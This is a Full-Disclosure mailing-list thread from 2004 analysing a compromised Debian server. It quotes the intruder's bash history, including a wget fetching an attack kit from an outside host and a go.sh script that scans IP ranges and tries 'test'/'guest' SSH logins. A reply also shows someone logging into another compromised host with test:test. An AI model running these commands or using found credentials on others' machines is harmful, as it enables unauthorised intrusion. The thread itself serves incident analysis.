What I find interesting is that the file vuln.txt contained a list of
IP addresses that seem to have been exploited. I tryed to login to one
of them with user/pass test:test
dagur@rivendale ssh $ ssh 161.53.223.3 -l test
Password:
Linux zagreb 2.4.26-grsec #1 SMP Thu Apr 15 17:27:27 CEST 2004 i686 GNU/Linux
Connection to 161.53.223.3 closed.
On Thu, 29 Jul 2004 18:38:15 +0200, Stefan Janecek
<stefan.janecek@jku.at> wrote:
Hmmm - I have also been getting those login attemps, but thought them to
be harmless. Maybe they are not *that* harmless, though... Today I
managed to get my hands on a machine that was originating such login
attempts. I must admit I am far from being a linux security expert, but
this is what I've found out up to now:
Whoever broke into the machine did not take any attempts to cover up his
tracks - this is what I found in /root/.bash_history:
------
id
uname -a
w
id
ls
wgte frauder.us/linux/ssh.tgz
wget frauder.us/linux/ssh.tgz
tar xzvf ssh.tgz
tar xvf ssh.tgz
ls
cd ssh
ls
../go.sh 195.178
ls
pico uniq.txt
vi uniq.txt
ls
rm -rf uniq.txt
../go.sh 167.205
ls
rm -rf uniq.txt vuln.txt
../go.sh 202.148.20
../go.sh 212.92
../go.sh 195.197
../go.sh 147.32
../go.sh 213.168
../go.sh 134.176
../go.sh 195.83
------
um-hum. I downloaded 'ssh.tgz', it contains the script go.sh and two
binaries:
go.sh:
-------
../ss 22 -b $1 -i eth0 -s 6
cat bios.txt |sort | uniq > uniq.txt
../sshf
-------
* 'ss' apparently is some sort of portscanner
* 'sshf' connects to every IP in uniq.txt and tries to log in as user
'test' first, then as user 'guest' (according to tcpdump).
This does not seem to be a stupid brute force attack, as there is only
one login attempt per user. Could it be that the tool tries to exploit
some vulnerability in the sshd, and just tries to look harmless by using
'test' and 'guest' as usernames?
The compromised machine was running an old debian woody installation
which had not been upgraded for at least one year, the sshd version
string says 'OpenSSH_3.6.1p2 Debian 1:3.6.1p2-10'
As already mentioned, I am far from being an expert, but if I can assist
in further testing, then let me know. Please CC me, I am not subscribed
to the list.
cheers,
Stefan
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
